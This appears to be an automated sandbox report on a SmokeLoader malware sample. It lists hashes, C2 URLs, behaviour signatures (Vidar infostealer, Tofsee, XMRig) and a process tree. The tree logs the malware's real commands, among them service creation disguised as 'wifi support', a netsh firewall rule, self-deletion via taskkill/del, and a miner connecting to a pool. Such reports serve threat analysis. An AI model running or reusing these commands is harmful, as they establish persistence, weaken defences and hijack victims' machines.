Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    28-03-2021 07:10

General

  • Target

    101e9314ddfdcb495a150c58f152f172.exe

  • Size

    162KB

  • MD5

    101e9314ddfdcb495a150c58f152f172

  • SHA1

    806c6f4a8f9c97b0af94d96a51629b32829fc147

  • SHA256

    d4e1c7562172f7e075f9c87630d6e4e363514157ef85b2cef463799354466d6f

  • SHA512

    577a821b9eff1f7caf5c3e5c7b60071df6be71d37cad961e4146ab12126bc94f8072e9928b5268686104ca08f8031dd06d57379ecfb5115ba62c7626f65afe92

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://xsss99.icu/upload/

http://bingooodsg.icu/upload/

http://junntd.xyz/upload/

http://ginessa11.xyz/upload/

http://overplayninsx.xyz/upload/

http://bananinze.com/upload/

http://daunimlas.com/upload/

rc4.i32
rc4.i32

Signatures

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 7 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 27 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\101e9314ddfdcb495a150c58f152f172.exe
    "C:\Users\Admin\AppData\Local\Temp\101e9314ddfdcb495a150c58f152f172.exe"
    1⤵
    • Loads dropped DLL
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:1404
  • C:\Users\Admin\AppData\Local\Temp\F14.exe
    C:\Users\Admin\AppData\Local\Temp\F14.exe
    1⤵
    • Executes dropped EXE
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:788
    • C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\f20f2cb1-9869-4570-9724-7044b63d4183" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      2⤵
      • Modifies file permissions
      PID:876
    • C:\Users\Admin\AppData\Local\Temp\F14.exe
      "C:\Users\Admin\AppData\Local\Temp\F14.exe" --Admin IsNotAutoStart IsNotTask
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2756
      • C:\Users\Admin\AppData\Local\85af9046-7e27-4c17-bfdc-79b9983baac1\updatewin.exe
        "C:\Users\Admin\AppData\Local\85af9046-7e27-4c17-bfdc-79b9983baac1\updatewin.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3544
        • C:\Windows\SysWOW64\cmd.exe
          /c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Local\85af9046-7e27-4c17-bfdc-79b9983baac1\updatewin.exe
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:476
          • C:\Windows\SysWOW64\timeout.exe
            timeout /t 3
            5⤵
            • Delays execution with timeout.exe
            PID:3916
      • C:\Users\Admin\AppData\Local\85af9046-7e27-4c17-bfdc-79b9983baac1\5.exe
        "C:\Users\Admin\AppData\Local\85af9046-7e27-4c17-bfdc-79b9983baac1\5.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Checks processor information in registry
        • Suspicious use of WriteProcessMemory
        PID:3816
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c taskkill /im 5.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\85af9046-7e27-4c17-bfdc-79b9983baac1\5.exe" & del C:\ProgramData\*.dll & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3600
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /im 5.exe /f
            5⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3248
          • C:\Windows\SysWOW64\timeout.exe
            timeout /t 6
            5⤵
            • Delays execution with timeout.exe
            PID:1012
  • C:\Users\Admin\AppData\Local\Temp\1EC5.exe
    C:\Users\Admin\AppData\Local\Temp\1EC5.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:2104
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im 1EC5.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\1EC5.exe" & del C:\ProgramData\*.dll & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:744
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /im 1EC5.exe /f
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2396
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 6
        3⤵
        • Delays execution with timeout.exe
        PID:4084
  • C:\Users\Admin\AppData\Local\Temp\37CC.exe
    C:\Users\Admin\AppData\Local\Temp\37CC.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2248
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zmjkvbvv\
      2⤵
        PID:632
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lkyaolme.exe" C:\Windows\SysWOW64\zmjkvbvv\
        2⤵
          PID:4092
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zmjkvbvv binPath= "C:\Windows\SysWOW64\zmjkvbvv\lkyaolme.exe /d\"C:\Users\Admin\AppData\Local\Temp\37CC.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2228
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description zmjkvbvv "wifi internet conection"
            2⤵
              PID:212
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start zmjkvbvv
              2⤵
                PID:2956
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1784
              • C:\Windows\SysWOW64\zmjkvbvv\lkyaolme.exe
                C:\Windows\SysWOW64\zmjkvbvv\lkyaolme.exe /d"C:\Users\Admin\AppData\Local\Temp\37CC.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2400
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:3836
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool-pay.com:6199 -u 9jNvTpsSutBLodbiiRngN2S4AfM84WJ4Y8zRpo6H4QPBK625huByLqkiCTh5Uog1qHVBr7cyZfbA1GiiPqSsSv83HAiirSf.50000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1324

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • memory/788-12-0x0000000000400000-0x0000000000537000-memory.dmp

                Filesize

                1.2MB

              • memory/788-11-0x0000000001BE0000-0x0000000001CFA000-memory.dmp

                Filesize

                1.1MB

              • memory/788-10-0x0000000001BE0000-0x0000000001BE1000-memory.dmp

                Filesize

                4KB

              • memory/1324-94-0x0000000003310000-0x0000000003401000-memory.dmp

                Filesize

                964KB

              • memory/1404-4-0x0000000000400000-0x0000000000409000-memory.dmp

                Filesize

                36KB

              • memory/1404-3-0x0000000000900000-0x0000000000909000-memory.dmp

                Filesize

                36KB

              • memory/1404-2-0x00000000024F0000-0x00000000024F1000-memory.dmp

                Filesize

                4KB

              • memory/2104-35-0x0000000000AD0000-0x0000000000B65000-memory.dmp

                Filesize

                596KB

              • memory/2104-33-0x0000000002590000-0x0000000002591000-memory.dmp

                Filesize

                4KB

              • memory/2104-36-0x0000000000400000-0x0000000000498000-memory.dmp

                Filesize

                608KB

              • memory/2104-34-0x0000000002590000-0x0000000002624000-memory.dmp

                Filesize

                592KB

              • memory/2248-65-0x0000000002530000-0x0000000002531000-memory.dmp

                Filesize

                4KB

              • memory/2248-69-0x0000000000910000-0x0000000000923000-memory.dmp

                Filesize

                76KB

              • memory/2248-70-0x0000000000400000-0x0000000000415000-memory.dmp

                Filesize

                84KB

              • memory/2248-64-0x0000000002530000-0x0000000002531000-memory.dmp

                Filesize

                4KB

              • memory/2400-86-0x0000000000400000-0x0000000000415000-memory.dmp

                Filesize

                84KB

              • memory/2400-82-0x00000000012E0000-0x00000000012E1000-memory.dmp

                Filesize

                4KB

              • memory/2756-20-0x0000000001CB0000-0x0000000001CB1000-memory.dmp

                Filesize

                4KB

              • memory/3024-6-0x0000000000830000-0x0000000000846000-memory.dmp

                Filesize

                88KB

              • memory/3816-43-0x0000000002F20000-0x0000000002FB6000-memory.dmp

                Filesize

                600KB

              • memory/3816-44-0x0000000000400000-0x0000000000499000-memory.dmp

                Filesize

                612KB

              • memory/3816-39-0x0000000003160000-0x0000000003161000-memory.dmp

                Filesize

                4KB

              • memory/3836-83-0x0000000000780000-0x0000000000795000-memory.dmp

                Filesize

                84KB